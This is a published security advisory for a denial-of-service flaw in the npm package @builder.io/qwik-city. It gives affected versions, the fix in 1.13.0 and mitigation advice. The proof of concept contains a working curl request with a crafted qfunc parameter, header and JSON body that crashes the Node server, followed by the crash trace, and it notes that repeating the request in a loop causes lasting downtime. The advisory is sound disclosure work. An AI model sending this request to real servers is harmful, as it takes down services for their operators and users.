Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requestsGHSA-qr9h-j6xg-2j72
Fix: QwikDev/qwik#7342GHSA-qr9h-j6xg-2j72 is a CWE-248 vulnerability in @builder.io/qwik-city. A fix is available for @builder.io/qwik-city — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qr9h-j6xg-2j72.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@builder.io/qwik-citynpmDescription
Summary
Possibility to craft a request that will crash the Qwik Server in the default configuration.
Details
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
PoC
- Setup a Qwik Project
pnpm create qwik@latest - Start the Qwik Server using
pnpm run preview - Execute the following curl command to crash the instance
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.
The Qwik Server will then crash with the message
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
triggerUncaughtException(err, true /* fromPromise */);
^
Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
Node.js v21.7.2
The same can also be repeated running Qwik in production using express.
- Setup a Qwik Project
pnpm create qwik@latest - Install the express middleware
pnpm run qwik add express - Build the qwik app using
pnpm run build - Start the server using
pnpm run serve - Execute the following curl command to crash the instance
curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Impact
Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.
There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @builder.io/qwik-city | all versions | 1.13.0npm install @builder.io/qwik-city@1.13.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @builder.io/qwik-city, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @builder.io/qwik-city to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qr9h-j6xg-2j72 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-qr9h-j6xg-2j72 in your dependencies?
Find it across npm, including transitive dependencies.